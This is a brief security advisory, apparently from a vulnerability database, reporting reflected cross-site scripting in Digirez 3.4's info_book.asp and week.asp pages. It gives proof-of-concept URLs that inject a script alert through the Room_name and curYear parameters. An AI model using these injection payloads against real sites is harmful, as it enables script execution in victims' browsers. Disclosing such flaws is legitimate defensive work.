Vulnerability in Digirez 3.4 allows XSS attack via room info_book and week pages
`Hello
Vulnerable : Digirez
Version: 3.4
web : http://www.digiappz.com
XSS :
1-
http://www.example.com/room/info_book.asp?Room_name=[XSS]
2-
http://www.example.com/room/week.asp?curYear=[XSS]
For Example u can put :
1-
http://www.example.com/room/info_book.asp?Room_name='><script>alert(1);</script>
2-
http://www.example.com/room/week.asp?curYear='><script>alert(1);</script>
Discovered By Linux_Drox
www.LeZr.Com
Best regards ,,
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo